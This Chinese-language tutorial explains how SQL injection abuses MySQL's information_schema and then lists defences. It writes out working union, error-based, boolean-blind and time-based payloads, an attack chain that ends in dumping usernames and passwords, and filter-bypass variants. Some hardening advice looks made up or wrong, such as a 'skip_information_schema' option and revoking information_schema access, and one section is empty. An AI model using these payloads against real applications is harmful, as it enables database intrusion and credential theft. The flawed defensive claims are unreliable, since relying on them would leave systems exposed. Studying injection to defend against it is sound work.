目錄
一、information_schema的核心價值
二、攻擊利用場景與示例
1. 聯合查詢注入(Union-Based)
2. 報錯注入(Error-Based)
3. 布爾盲注(Boolean Blind)
4. 時間盲注(Time-Based)
三、攻擊鏈中的關鍵步驟
四、不同MySQL版本的差異
五、防御策略與實戰方案
1. 最小權限原則
2. 輸入過濾與攔截
3. 數據庫加固
4. WAF規則示例(ModSecurity)
六、進階繞過技術及應對
1. 編碼繞過
2. 替代元數據源
3. 基于時間的模糊探測
七、企業級防御架構
結語
一、information_schema
的核心價值
information_schema
是MySQL默認的系統數據庫,存儲了所有數據庫的元數據信息。在SQL注入攻擊中,它相當于攻擊者的“地圖”,用于探測目標數據庫結構,具體包含以下關鍵表:
- ??TABLES??:記錄所有表名及所屬數據庫(
table_name
,?table_schema
) - ??COLUMNS??:記錄所有列名及所屬表(
column_name
,?table_name
) - ??SCHEMATA??:列出所有數據庫名(
schema_name
) - ??USER_PRIVILEGES??:用戶權限信息
二、攻擊利用場景與示例
1. 聯合查詢注入(Union-Based)
通過聯合查詢直接讀取元數據:
' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()--
結果示例:
+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| users | app_db |
| orders | app_db |
+------------+--------------+
2. 報錯注入(Error-Based)
利用報錯函數提取信息:
' AND extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1)))--
報錯輸出:
XPATH syntax error: '~password'
3. 布爾盲注(Boolean Blind)
逐字符猜測表名:
' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 1)='u'--
若頁面返回正常,說明第一個表名的首字母是u
。
4. 時間盲注(Time-Based)
通過延時判斷數據存在性:
' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)--
若響應延遲5秒,說明當前數據庫存在超過5張表。
三、攻擊鏈中的關鍵步驟
- ??枚舉數據庫??:
SELECT schema_name FROM information_schema.schemata
- ??定位目標表??:
SELECT table_name FROM information_schema.tables WHERE table_schema='app_db'
- ??獲取字段結構??:
SELECT column_name FROM information_schema.columns WHERE table_name='users'
- ??構造最終Payload??:
UNION SELECT username, password FROM users--
四、不同MySQL版本的差異
版本范圍 | information_schema 訪問特性 | 注入影響 |
---|---|---|
MySQL < 5.0 | 無information_schema | 需暴力猜解表名/列名 |
MySQL 5.0-5.6 | 完整元數據訪問,默認對所有用戶可見 | 攻擊者可完整枚舉數據庫結構 |
MySQL ≥ 5.7 | 引入performance_schema ,部分權限受限 | 需SELECT 權限訪問元數據 |
五、防御策略與實戰方案
1. 最小權限原則
- ??應用賬戶權限配置??:
CREATE USER 'webapp'@'%' IDENTIFIED BY 'SecurePass123!'; GRANT SELECT, INSERT ON app_db.users TO 'webapp'@'%'; REVOKE SELECT ON information_schema.* FROM 'webapp'@'%';
2. 輸入過濾與攔截
- ??黑名單過濾關鍵詞??(正則示例):
(information_schema\.(tables|columns)|schema_name\b)
- ??參數化查詢??(Python示例):
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
3. 數據庫加固
- ??禁用元數據訪問??(需重啟):
[mysqld] skip_information_schema
- ??日志監控可疑查詢??:
SELECT * FROM mysql.general_log WHERE argument LIKE '%information_schema%';
4. WAF規則示例(ModSecurity)
SecRule ARGS "@contains information_schema" \"id:1001,phase:2,deny,msg:'SQLi detected: information_schema access'"
六、進階繞過技術及應對
1. 編碼繞過
- ??十六進制編碼??:
UNION SELECT * FROM information_schema.`TABLES` -- 正常訪問 UNION SELECT * FROM infoorrmation_schema.`TABLES` -- 雙寫繞過 ' UNION SELECT * FROM info%72mation_schema.tables -- URL編碼
2. 替代元數據源
當information_schema
不可用時,攻擊者可能嘗試:
- ??
mysql
系統庫??(需更高權限):SELECT db, table_name FROM mysql.db
- ??暴力猜解??:
AND (SELECT COUNT(*) FROM users) > 0 -- 假設存在users表
3. 基于時間的模糊探測
IF(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)=CHAR(97), BENCHMARK(5000000,MD5('a')),0)
七、企業級防御架構
結語
information_schema
是SQL注入攻擊的“戰略要地”,防御需建立多層防線:
- ??權限最小化??:嚴格限制數據庫賬戶權限
- ??輸入消毒??:結合正則過濾與參數化查詢
- ??深度監控??:實時審計敏感元數據訪問行為
- ??縱深防御??:WAF與數據庫防火墻聯動防護
通過代碼層、網絡層、數據庫層的三重加固,可有效遏制攻擊者利用系統元數據實施數據泄露,將SQL注入的危害降到最低。